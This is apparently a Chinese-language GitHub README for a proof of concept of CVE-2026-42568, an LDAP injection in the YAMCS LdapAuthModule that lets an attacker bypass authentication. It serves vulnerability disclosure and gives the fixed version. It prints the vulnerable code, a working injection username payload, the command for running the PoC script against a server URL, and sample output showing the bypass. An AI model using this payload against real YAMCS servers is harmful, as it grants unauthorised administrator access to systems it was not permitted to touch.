ex-cal1bur/CVE-2026-42568
GitHub: ex-cal1bur/CVE-2026-42568
YAMCS LDAP 认证模块因用户名未做 RFC 4515 转义而导致 LDAP 注入与身份验证绕过的漏洞 PoC。
Stars: 0 | Forks: 0
# CVE-2026-42568 — YAMCS LDAP 注入漏洞 (LdapAuthModule)
## 摘要
`org.yamcs.security.LdapAuthModule` 中存在 LDAP 注入漏洞。用户名参数在没有进行 RFC 4515 转义的情况下被直接插入到 LDAP 搜索过滤器中,从而允许绕过身份验证。
| 字段 | 值 |
|-------|-------|
| **CVE** | CVE-2026-42568 |
| **严重程度** | MEDIUM |
| **CWE** | CWE-90: LDAP 查询中特殊元素的不正确中和 |
| **受影响版本** | yamcs-core < 5.12.7 (已配置 LDAP 认证) |
| **修复版本** | yamcs-core 5.12.7 |
| **安全公告** | [GHSA-cqh3-jg8p-336j](https://github.com/yamcs/yamcs/security/advisories/GHSA-cqh3-jg8p-336j) |
## 漏洞详情
**根本原因 (`LdapAuthModule.java`):**
```
var filter = userFilter.replace("{0}", username);
// username inserted directly — no RFC 4515 escaping
```
如果使用典型的 `userFilter`(如 `(uid={0})`),恶意用户名会破坏过滤器的结构:
```
Input: *)(uid=*))(|(uid=*
Filter: (uid=*)(uid=*))(|(uid=*)
Result: Universal match — authentication bypassed
```
## 概念验证
```
pip install requests
python3 poc.py http://localhost:8090
```
在易受攻击的实例(已配置 LDAP)上的预期输出:
```
[1] Universal bypass (any account)
Username: *)(uid=*))(|(uid=*
Password: anything
Result: HTTP 200
[!!!] AUTHENTICATION BYPASSED
[!!!] Token received: eyJhbGciOiJSUzI1NiJ9...
```
## 影响
当配置了 LDAP 认证时,能够访问 YAMCS 服务器的未经身份验证的攻击者可以完全绕过身份验证,以任意用户(包括管理员)的身份获取访问权限。
## 修复方案
升级至 `yamcs-core >= 5.12.7`。
该修复方案在构建 LDAP 过滤器之前,对用户名应用了 RFC 4515 转义。
## 时间线
| 日期 | 事件 |
|------|-------|
| 2026-05 | 报告漏洞 |
| 2026-05-26 | 在 yamcs-core 5.12.7 中发布修复程序 |
| 2026-05-26 | 发布公开安全公告 |
## 研究员
**Daniel Miranda Barcelona (Excal1bur)**
- GitHub: [https://github.com/ex-cal1bur](https://github.com/ex-cal1bur)
- LinkedIn: [https://linkedin.com/in/daniel-miranda-barcelona](https://linkedin.com/in/daniel-miranda-barcelona)
- 博客: [https://thedumpster.es](https://thedumpster.es)
标签:Checkov, JS文件枚举, LDAP, PoC, StruQ, 暴力破解, 认证绕过, 逆向工具